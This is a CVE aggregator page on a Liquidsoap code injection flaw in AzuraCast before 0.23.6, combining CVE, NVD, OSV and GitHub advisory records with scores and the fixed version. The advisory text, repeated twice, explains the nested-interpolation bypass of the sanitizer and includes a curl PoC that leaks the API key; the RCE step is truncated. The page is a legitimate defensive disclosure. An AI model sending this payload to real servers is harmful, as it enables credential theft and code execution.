Every CVE Search/ Get API key

CVE-2026-100856

AzuraCast before 0.23.6 Code Injection via Remote Relay Password

8.7 HighFix available

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.47%Up 0.1 points since Sep 27, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

AzuraCast before 0.23.6 Code Injection via Remote Relay Password

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Record
CVE-2026-100856
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-87821 8.7

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Record
EUVD-2026-87821
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-mvfp-2r94-2mw9 8.7

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password...

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Record
GHSA-mvfp-2r94-2mw9
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
GitHub AdvisoriesGHSA-q4ph-8x8g-95f8 8.8

AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field

Summary

The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.

Details

The Vulnerable Sanitizer

cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:

public static function cleanUpString(?string $string): string
{
    $string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');

    // Remove strings that are interpolated
    $string = preg_replace(
        '/#{(.*)}/U',   // Ungreedy: matches minimum chars to first }
        '$1',
        $string
    );

    $string = preg_replace(
        '/\$\((.*)\)/U',
        '$1',
        $string ?? ''
    );

    return $string ?? '';
}

The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:

  1. Regex finds #{ at position 0
  2. Ungreedy .* matches #{EXPR (stops at the first })
  3. Full match consumed: #{#{EXPR} — replacement with capture group $1 yields: #{EXPR
  4. The trailing } is appended by the regex engine (it was outside the match)
  5. Final result: #{EXPR} — a valid Liquidsoap string interpolation expression

The Incomplete Patch

Commit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():

ConfigWriter.php:1208-1215:

$password = self::cleanUpString($source->password);  // Still vulnerable

$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
    $password .= ':#' . $id;
}

$outputParams[] = 'password = "' . $password . '"';  // Double-quoted = interpolated

The password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.

Why toRawString() Is Safe

toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.

The Input Path

  1. Attacker sends PUT /api/station/{station_id}/remote/{id} with source_password containing the nested payload
  2. Entity setter truncates to 100 chars via mb_substr (payloads fit within this limit)
  3. No validation on password content
  4. On station config regeneration, ConfigWriter::getOutputString() calls cleanUpString() on the password
  5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string
  6. Liquidsoap evaluates the interpolation when loading the config

PoC

Step 1: API Key Disclosure (38 chars)

# Set malicious password on an existing remote relay
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
  -H "X-API-Key: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'

After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.

When Liquidsoap loads the config, the generated line:

password = "#{settings.azuracast.api_key()}"

evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.

Step 2: Remote Code Execution (54 chars)

# RCE payload using string.char() to bypass quote filtering
curl -X PUT…
Record
GHSA-q4ph-8x8g-95f8
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 8.7

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Record
CVE-2026-100856
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 8.7

AzuraCast before 0.23.6 Code Injection via Remote Relay Password

AzuraCast before 0.23.6 contains a code injection vulnerability in the remote relay password field due to incomplete migration from the vulnerable cleanUpString method to toRawString. Attackers with RemoteRelays station permission can inject nested Liquidsoap interpolation syntax to execute arbitrary code in the Liquidsoap process, disclose internal API keys, or disrupt station operation.

Record
CVE-2026-100856
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-q4ph-8x8g-95f8 8.8

AzuraCast Vulnerable to Liquidsoap Code Injection via Incomplete cleanUpString-to-toRawString Migration in Remote Relay Password Field

Summary

The cleanUpString() method in ConfigWriter.php uses an ungreedy regex to strip Liquidsoap string interpolation patterns (#{...}) from user input. This regex can be bypassed via nested interpolation syntax (#{#{EXPR}}), allowing injection of arbitrary Liquidsoap code. Commit ff49ef4 migrated most user-controlled fields to the safe toRawString() method but left the remote relay password field using the vulnerable cleanUpString(). A user with the RemoteRelays station permission can achieve arbitrary code execution in the Liquidsoap process, leak internal API keys, or disrupt station operation.

Details

The Vulnerable Sanitizer

cleanUpString() at backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php:1349-1367:

public static function cleanUpString(?string $string): string
{
    $string = str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? '');

    // Remove strings that are interpolated
    $string = preg_replace(
        '/#{(.*)}/U',   // Ungreedy: matches minimum chars to first }
        '$1',
        $string
    );

    $string = preg_replace(
        '/\$\((.*)\)/U',
        '$1',
        $string ?? ''
    );

    return $string ?? '';
}

The /U (ungreedy) flag causes .* to match the minimum characters until the first }. With nested input #{#{EXPR}}:

  1. Regex finds #{ at position 0
  2. Ungreedy .* matches #{EXPR (stops at the first })
  3. Full match consumed: #{#{EXPR} — replacement with capture group $1 yields: #{EXPR
  4. The trailing } is appended by the regex engine (it was outside the match)
  5. Final result: #{EXPR} — a valid Liquidsoap string interpolation expression

The Incomplete Patch

Commit ff49ef4 ("Use raw strings for user-input strings to avoid interpolation", 2026-03-06) correctly migrated host, username, mount, name, description, genre, and URL fields to toRawString(). However, the password field was left using cleanUpString():

ConfigWriter.php:1208-1215:

$password = self::cleanUpString($source->password);  // Still vulnerable

$adapterType = $source->adapterType;
if (FrontendAdapters::Shoutcast === $adapterType) {
    $password .= ':#' . $id;
}

$outputParams[] = 'password = "' . $password . '"';  // Double-quoted = interpolated

The password is embedded in a Liquidsoap double-quoted string, which evaluates #{...} interpolation expressions.

Why toRawString() Is Safe

toRawString() uses Liquidsoap raw string delimiters ({str_xxxxx|...|str_xxxxx}) which do not perform interpolation, making them immune to this attack class.

The Input Path

  1. Attacker sends PUT /api/station/{station_id}/remote/{id} with source_password containing the nested payload
  2. Entity setter truncates to 100 chars via mb_substr (payloads fit within this limit)
  3. No validation on password content
  4. On station config regeneration, ConfigWriter::getOutputString() calls cleanUpString() on the password
  5. Bypass produces valid interpolation, embedded in double-quoted Liquidsoap string
  6. Liquidsoap evaluates the interpolation when loading the config

PoC

Step 1: API Key Disclosure (38 chars)

# Set malicious password on an existing remote relay
curl -X PUT "http://azuracast.local/api/station/1/remote/1" \
  -H "X-API-Key: $API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"source_password": "#{#{settings.azuracast.api_key()}}"}'

After cleanUpString() processing, the password becomes #{settings.azuracast.api_key()}.

When Liquidsoap loads the config, the generated line:

password = "#{settings.azuracast.api_key()}"

evaluates to the internal API key value, which is then sent as the password to the remote relay server — observable by the attacker if they control the relay endpoint.

Step 2: Remote Code Execution (54 chars)

# RCE payload using string.char() to bypass quote filtering
curl -X PUT…
Record
GHSA-q4ph-8x8g-95f8
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
azuracast/azuracast
Packagist
through 0.23.5
0.23.6
azuracast/azuracast
Packagist
before 0.23.6, plus listed versions
0.10.00.10.10.10.20.10.30.10.4
Show 45 moreShow less
0.110.11.10.11.20.120.12.10.12.20.12.30.12.40.13.00.14.00.14.10.15.00.15.10.15.20.16.00.16.10.17.00.17.10.17.20.17.30.17.40.17.50.17.60.17.70.18.00.18.10.18.20.18.30.18.50.19.00.19.10.19.20.19.30.19.40.19.50.19.60.19.70.20.00.20.10.20.20.20.30.20.40.21.00.22.00.22.1
0.23.6

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-100856 is a high vulnerability (CVSS 8.7) in Azuracast, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 40th percentile. Fixed in azuracast/azuracast 0.23.6.

References

This page doesn't list everything

Left out here: 30 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open